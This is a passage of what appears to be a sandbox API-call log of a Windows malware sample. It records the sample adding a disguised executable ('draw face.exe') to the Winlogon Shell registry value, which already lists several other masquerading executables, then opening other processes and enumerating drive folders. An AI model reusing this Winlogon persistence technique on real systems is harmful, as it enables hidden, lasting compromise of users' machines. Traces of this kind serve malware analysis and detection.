face.exe\"", cbData=0x86 | out: lpData="\"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"") returned 0x0 [0121.284] RegCloseKey (hKey=0x490) returned 0x0 [0121.285] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x490) returned 0x0 [0121.285] RegQueryValueExW (in: hKey=0x490, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x0, lpcbData=0x1b30d8b0*=0x0 | out: lpType=0x1b30d8b8*=0x1, lpData=0x0, lpcbData=0x1b30d8b0*=0x1fc) returned 0x0 [0121.285] RegQueryValueExW (in: hKey=0x490, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d8b8, lpData=0x283cde8, lpcbData=0x1b30d8b0*=0x1fc | out: lpType=0x1b30d8b8*=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\"", lpcbData=0x1b30d8b0*=0x1fc) returned 0x0 [0121.285] RegQueryValueExW (in: hKey=0x490, lpValueName="Shell", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x1, lpData=0x0, lpcbData=0x1b30d880*=0x1fc) returned 0x0 [0121.285] RegSetValueExW (in: hKey=0x490, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"", cbData=0x284 | out: lpData="explorer.exe, \"C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe\", \"C:\\Boot\\pt-BR\\gmailnotifierpro.exe\", \"C:\\Windows\\L2Schemas\\pidgin.exe\", \"C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe\", \"C:\\Boot\\zh-TW\\explorer.exe\", \"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"") returned 0x0 [0121.285] RegCloseKey (hKey=0x490) returned 0x0 [0121.285] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xf20) returned 0x490 [0121.285] GetExitCodeProcess (in: hProcess=0x490, lpExitCode=0x2586b5c | out: lpExitCode=0x2586b5c*=0x103) returned 1 [0121.285] CoTaskMemAlloc (cb=0x404) returned 0x1b4707e0 [0121.285] QueryFullProcessImageNameA (in: hProcess=0x490, dwFlags=0x0, lpExeName=0x1b4707e0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files (x86)\\Windows NT\\pidgin.exe", lpdwSize=0x1b30dda8) returned 1 [0121.286] CoTaskMemFree (pv=0x1b4707e0) [0121.289] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0121.290] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x1b30d7f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="Access is denied.\r\n") returned 0x13 [0121.299] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xfc0) returned 0x488 [0121.299] GetExitCodeProcess (in: hProcess=0x488, lpExitCode=0x2587cf4 | out: lpExitCode=0x2587cf4*=0x103) returned 1 [0121.299] CoTaskMemAlloc (cb=0x404) returned 0x1b4707e0 [0121.299] QueryFullProcessImageNameA (in: hProcess=0x488, dwFlags=0x0, lpExeName=0x1b4707e0, lpdwSize=0x1b30dda8 | out: lpExeName="C:\\Program Files (x86)\\Internet Explorer\\aldelo.exe", lpdwSize=0x1b30dda8) returned 1 [0121.300] CoTaskMemFree (pv=0x1b4707e0) [0121.302] CoTaskMemAlloc (cb=0x20c) returned 0x1b4b7200 [0121.302] GetSystemDirectoryW (in: lpBuffer=0x1b4b7200, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0121.302] CoTaskMemFree (pv=0x1b4b7200) [0121.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0121.302] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0121.302] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b48f310 [0121.302] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0121.303] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0121.303] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0121.303] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0121.303] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0121.303] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x248b69a0, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2555deab, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3c6700c, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x3c6700c, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0121.304] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x25588045, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x40b942d, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x40b942d, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0121.306] FindNextFileW (in: hFindFile=0x1b48f310, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.306] FindClose (in: hFindFile=0x1b48f310 | out: hFindFile=0x1b48f310) returned 1 [0121.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0121.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0121.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0121.306] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0121.306] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f550 [0121.307] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.307] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0121.307] FindNextFileW (in: hFindFile=0x1b48f550, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.307] FindClose (in: hFindFile=0x1b48f550 | out: hFindFile=0x1b48f550) returned 1 [0121.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d9c0) returned 1 [0121.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b30d980) returned 1 [0121.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b30da90) returned 1 [0121.307] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users", nBufferLength=0x105, lpBuffer=0x1b30d570, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users", lpFilePart=0x0) returned 0x15 [0121.308] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*" (normalized: "c:\\msocache\\all users\\*"), lpFindFileData=0x1b30d7a0 | out: lpFindFileData=0x1b30d7a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b48f1f0 [0121.308] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4cba8e1e, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x53754a8c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x53754a8c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.308] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x53754a8c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x7414ceb6, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x7414ceb6, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{94AB0~1")) returned 1 [0121.309] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4ff381d6, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x503642c5, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x503642c5, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{98066~1")) returned 1 [0121.309] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x526ca3f9, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x527fb77e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x527fb77e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9C19D~1")) returned 1 [0121.309] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x52821923, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x5292c98c, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x5292c98c, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{989EF~1")) returned 1 [0121.309] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x5259918c, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x526a414b, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x526a414b, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9241F~1")) returned 1 [0121.309] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x52978e93, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x535185e6, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x535185e6, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{96CBC~1")) returned 1 [0121.309] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4d80719b, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f4310c9, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f4310c9, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~2")) returned 1 [0121.310] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x5055ce95, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x50e80594, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x50e80594, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{932B0~1")) returned 1 [0121.310] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f9da788, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4fb0bc8d, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4fb0bc8d, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-0090-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95728~1")) returned 1 [0121.310] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x4f69338f, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4f8a96bf, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4f8a96bf, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90160~4")) returned 1 [0121.310] FindNextFileW (in: hFindFile=0x1b48f1f0, lpFindFileData=0x1b30d760 | out: lpFindFileData=0x1b30d760*(dwFileAttributes=0x2011, 